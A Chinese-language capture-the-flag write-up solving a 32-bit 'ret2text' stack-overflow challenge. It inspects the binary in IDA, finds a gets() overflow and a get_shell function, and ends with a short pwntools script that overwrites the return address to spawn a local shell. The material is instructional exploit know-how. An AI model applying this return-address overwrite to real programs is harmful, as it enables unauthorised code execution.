百度未收录

先运行一下看看
运行界面.png
询问你是否知道缓冲区溢出
按套路走,先检查一下文件开了哪些保护
保护.png
各项保护在这不再赘述,请参考linux程序的常用保护机制
NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令(这个题在后面还是执行了shellcode,到现在还没搞明白咋回事)
file命令查看文件为32-bit,用IDA打开文件分析
找到主函数按F5
1.png
摆明了只能攻击vulunerable()函数
进入vulunerable()函数
2.png
gets()函数,可以造成栈溢出,且buffer[8]距离ebp0x10个字节
左侧列表中还有get_shell函数,内部调用"/bin/sh"
3.png
这样思路就有了,用垃圾数据把buffer[8]距离ebp0x10个字节填充,再用0x04个字节把ebp覆盖掉,再接下来的四个字节填写我们需要控制的目的地址,也就是0x8048522
上代码

from pwn import *   
io = process('./ret2text')
io.recvline()
payload=b'A'*20+p32(0x8048522)
io.sendline(payload)
io.interactive()